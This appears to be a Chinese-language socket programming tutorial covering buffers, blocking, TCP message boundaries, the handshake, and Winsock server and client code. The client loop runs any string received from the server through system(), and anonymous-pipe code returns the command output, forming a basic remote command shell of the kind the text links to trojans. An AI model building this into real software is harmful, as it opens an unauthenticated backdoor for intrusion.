socket详解与实现
字数 1608 2025-08-24 23:51:23

Socket详解与实现 - 教学文档

1. Socket基础概念

Socket(套接字)是应用程序通过网络发出请求或应答网络请求的接口,本质上是对TCP/IP协议的API封装。在数据传输中,Socket是病毒木马常用的技术手段之一。

1.1 Socket缓冲区

每个Socket被创建后都会分配两个缓冲区:

  • 输入缓冲区:用于接收数据
  • 输出缓冲区:用于发送数据

关键特性:

  • I/O缓冲区在每个TCP套接字中单独存在
  • 创建套接字时自动生成
  • 关闭套接字会继续传送输出缓冲区中遗留的数据
  • 关闭套接字将丢失输入缓冲区中的数据

1.2 数据发送/接收机制

write()/send()函数

  1. 不立即传输数据,而是先写入输出缓冲区
  2. 由TCP协议负责将数据从缓冲区发送到目标机器
  3. 函数成功返回仅表示数据已写入缓冲区,不代表已到达目标

read()/recv()函数

  1. 从输入缓冲区读取数据,而非直接从网络读取
  2. 如果缓冲区无数据,函数会被阻塞直到数据到达

2. 阻塞模式详解

2.1 write()/send()阻塞情况

  1. 缓冲区空间不足:暂停执行直到空间足够
  2. 缓冲区被锁定(正在发送数据):等待解锁
  3. 数据大于缓冲区:分批写入
  4. 所有数据写入缓冲区后函数才能返回

2.2 read()/recv()阻塞情况

  1. 缓冲区无数据:阻塞直到数据到来
  2. 读取长度小于缓冲区数据:不能一次性读取所有数据
  3. 读取到数据后函数才会返回

3. TCP粘包问题

3.1 问题描述

由于Socket缓冲区的存在,多次发送的数据可能被一次性接收,导致数据边界不清晰。例如:

  • 发送三次"abc",可能接收为"abcabcabc"
  • 发送"1"和"3"可能被接收为"13"

3.2 解决方案

需要在应用层实现:

  1. 固定长度数据包
  2. 特殊字符分隔
  3. 在数据头添加长度信息

4. TCP连接建立过程(三次握手)

4.1 TCP数据包关键字段

  1. 序号(Seq):32位,标识数据包序号
  2. 确认号(Ack):32位,Ack = 收到的Seq + 1
  3. 标志位
    • URG:紧急指针有效
    • ACK:确认序号有效
    • PSH:尽快交给应用层
    • RST:重置连接
    • SYN:建立新连接
    • FIN:断开连接

4.2 三次握手流程

  1. 客户端→服务器

    • 设置SYN=1,Seq=随机数X
    • 客户端进入SYN-SEND状态
  2. 服务器→客户端

    • 设置SYN=1,ACK=1,Seq=随机数Y,Ack=X+1
    • 服务器进入SYN-RECV状态
  3. 客户端→服务器

    • 设置ACK=1,Ack=Y+1
    • 双方进入ESTABLISHED状态

5. Socket编程实现

5.1 Winsock基础

Windows下的网络编程接口,主要版本:

  • Winsock1:头文件WINSOCK.H,库WSOCK32.LIB
  • Winsock2:头文件WINSOCK2.H,库WS2_32.LIB
  • 扩展功能:MSWSOCK.H,库MSWSOCK.LIB

5.2 关键API函数

  1. socket():创建套接字

    SOCKET WSAAPI socket(int af, int type, int protocol);
    
  2. bind():绑定地址和套接字

    int bind(SOCKET s, const sockaddr *addr, int namelen);
    
  3. listen():监听连接

    int WSAAPI listen(SOCKET s, int backlog);
    
  4. accept():接受连接

  5. connect():客户端连接服务器

  6. send()/recv():数据收发

5.3 服务端实现

BOOL SocketListen(LPSTR ipaddr, int port) {
    // 初始化Winsock
    WSADATA wsadata = {0};
    WORD w_version_req = MAKEWORD(2, 2);
    if(WSAStartup(w_version_req, &wsadata) == SOCKET_ERROR || &wsadata == nullptr) {
        printf("[!] Failed to initialize Winsock\n");
        return FALSE;
    }
    
    // 创建流式socket
    g_ServerSocket = socket(AF_INET, SOCK_STREAM, NULL);
    if(g_ServerSocket == INVALID_SOCKET) {
        printf("[!] Create socket Failed\n");
        return FALSE;
    }
    
    // 设置服务端地址和端口
    sockaddr_in ServerAddr;
    ServerAddr.sin_family = AF_INET;
    ServerAddr.sin_port = ::htons(port);
    ServerAddr.sin_addr.S_un.S_addr = ::inet_addr(ipaddr);
    
    // 绑定端口ip
    if(NULL != ::bind(g_ServerSocket, (LPSOCKADDR)&ServerAddr, sizeof(ServerAddr))) {
        printf("[!] Bind port failed\n");
        return FALSE;
    }
    
    // 设置监听客户端数量
    if(NULL != ::listen(g_ServerSocket, 5)) {
        printf("[!] Listen port failed\n");
        return FALSE;
    }
    
    return TRUE;
}

void AcceptMessage() {
    sockaddr_in addr = {0};
    int dwLength = sizeof(addr);
    g_clientsocket = ::accept(g_ServerSocket, (sockaddr*)(&addr), &dwLength);
    
    char szBuffer[MAX_PATH] = {0};
    while(TRUE) {
        int Ret = ::recv(g_clientsocket, szBuffer, MAX_PATH, 0);
        if(Ret <= 0) continue;
        printf("[*] recv:%s\n", szBuffer);
    }
}

void SendMessage() {
    char cmd[100] = {0};
    cin.getline(cmd, 100);
    ::send(g_clientsocket, cmd, (::strlen(cmd)+1), 0);
    printf("[*] send:%s\n", cmd);
}

5.4 客户端实现

// 初始化Winsock环境
WSADATA wsadata = {0};
WORD w_version_req = MAKEWORD(2, 2);
WSAStartup(w_version_req, &wsadata);

// 创建流式socket
SOCKET g_SeverSocket = socket(AF_INET, SOCK_STREAM, NULL);

// 连接服务端
connect(g_SeverSocket, (LPSOCKADDR)&ServerAddr, sizeof(ServerAddr));

// 创建线程接收数据
::CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)ThreadProc, NULL, NULL, NULL);

void SendMsg(char* pszSend) {
    ::send(g_ClientSocket, pszSend, (::strlen(pszSend)+1), 0);
    printf("[*] Sent:%s", pszSend);
}

void GetMsg() {
    char szBuffer[MAX_PATH] = {0};
    while(TRUE) {
        int Ret = ::recv(g_ClientSocket, szBuffer, MAX_PATH, 0);
        if(Ret <= 0) continue;
        system(szBuffer);
        SendMsg((LPSTR)"The command executed successfully");
    }
}

6. 进程间通信实现命令结果返回

6.1 匿名管道实现

HANDLE hRead;
HANDLE hWrite;
SECURITY_ATTRIBUTES sa;
sa.bInheritHandle = TRUE;
sa.lpSecurityDescriptor = NULL;
sa.nLength = sizeof(SECURITY_ATTRIBUTES);

if(!CreatePipe(&hRead, &hWrite, &sa, 0)) {
    printf("CreatePipe Failed\n\n");
    return FALSE;
}

STARTUPINFO si;
ZeroMemory(&si, sizeof(STARTUPINFO));
si.cb = sizeof(STARTUPINFO);
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = hRead;
si.hStdOutput = hWrite;
si.hStdError = GetStdHandle(STD_ERROR_HANDLE);

if(!::CreateProcessA(NULL, lpscmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi)) {
    printf("Create Process failed, error is : %d", GetLastError());
    return FALSE;
}

CloseHandle(hWrite);
::WaitForSingleObject(pi.hThread, -1);
::WaitForSingleObject(pi.hProcess, -1);

::RtlZeroMemory(lpsRetBuffer, RetBufferSize);
if(!::ReadFile(hRead, lpsRetBuffer, 4096, &RetBufferSize, NULL)) {
    printf("Readfile failed, error is : %d", GetLastError());
    return FALSE;
}

CloseHandle(hRead);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return TRUE;

6.2 实现效果

使用匿名管道后,服务端可以接收到客户端命令执行的结果,解决了system()函数直接调用无法获取返回结果的问题。

7. 总结

  1. Socket是网络编程的基础,理解缓冲区和阻塞机制至关重要
  2. TCP三次握手确保可靠连接建立
  3. 粘包问题需要在应用层解决
  4. Windows下使用Winsock API进行Socket编程
  5. 匿名管道是实现进程间通信获取命令结果的有效方法

通过以上实现,可以构建一个完整的客户端-服务器通信系统,包括命令执行和结果返回功能。

Socket详解与实现 - 教学文档 1. Socket基础概念 Socket(套接字)是应用程序通过网络发出请求或应答网络请求的接口,本质上是对TCP/IP协议的API封装。在数据传输中,Socket是病毒木马常用的技术手段之一。 1.1 Socket缓冲区 每个Socket被创建后都会分配两个缓冲区: 输入缓冲区 :用于接收数据 输出缓冲区 :用于发送数据 关键特性: I/O缓冲区在每个TCP套接字中单独存在 创建套接字时自动生成 关闭套接字会继续传送输出缓冲区中遗留的数据 关闭套接字将丢失输入缓冲区中的数据 1.2 数据发送/接收机制 write()/send()函数 : 不立即传输数据,而是先写入输出缓冲区 由TCP协议负责将数据从缓冲区发送到目标机器 函数成功返回仅表示数据已写入缓冲区,不代表已到达目标 read()/recv()函数 : 从输入缓冲区读取数据,而非直接从网络读取 如果缓冲区无数据,函数会被阻塞直到数据到达 2. 阻塞模式详解 2.1 write()/send()阻塞情况 缓冲区空间不足:暂停执行直到空间足够 缓冲区被锁定(正在发送数据):等待解锁 数据大于缓冲区:分批写入 所有数据写入缓冲区后函数才能返回 2.2 read()/recv()阻塞情况 缓冲区无数据:阻塞直到数据到来 读取长度小于缓冲区数据:不能一次性读取所有数据 读取到数据后函数才会返回 3. TCP粘包问题 3.1 问题描述 由于Socket缓冲区的存在,多次发送的数据可能被一次性接收,导致数据边界不清晰。例如: 发送三次"abc",可能接收为"abcabcabc" 发送"1"和"3"可能被接收为"13" 3.2 解决方案 需要在应用层实现: 固定长度数据包 特殊字符分隔 在数据头添加长度信息 4. TCP连接建立过程(三次握手) 4.1 TCP数据包关键字段 序号(Seq) :32位,标识数据包序号 确认号(Ack) :32位,Ack = 收到的Seq + 1 标志位 : URG:紧急指针有效 ACK:确认序号有效 PSH:尽快交给应用层 RST:重置连接 SYN:建立新连接 FIN:断开连接 4.2 三次握手流程 客户端→服务器 : 设置SYN=1,Seq=随机数X 客户端进入SYN-SEND状态 服务器→客户端 : 设置SYN=1,ACK=1,Seq=随机数Y,Ack=X+1 服务器进入SYN-RECV状态 客户端→服务器 : 设置ACK=1,Ack=Y+1 双方进入ESTABLISHED状态 5. Socket编程实现 5.1 Winsock基础 Windows下的网络编程接口,主要版本: Winsock1:头文件WINSOCK.H,库WSOCK32.LIB Winsock2:头文件WINSOCK2.H,库WS2_ 32.LIB 扩展功能:MSWSOCK.H,库MSWSOCK.LIB 5.2 关键API函数 socket() :创建套接字 bind() :绑定地址和套接字 listen() :监听连接 accept() :接受连接 connect() :客户端连接服务器 send()/recv() :数据收发 5.3 服务端实现 5.4 客户端实现 6. 进程间通信实现命令结果返回 6.1 匿名管道实现 6.2 实现效果 使用匿名管道后,服务端可以接收到客户端命令执行的结果,解决了system()函数直接调用无法获取返回结果的问题。 7. 总结 Socket是网络编程的基础,理解缓冲区和阻塞机制至关重要 TCP三次握手确保可靠连接建立 粘包问题需要在应用层解决 Windows下使用Winsock API进行Socket编程 匿名管道是实现进程间通信获取命令结果的有效方法 通过以上实现,可以构建一个完整的客户端-服务器通信系统,包括命令执行和结果返回功能。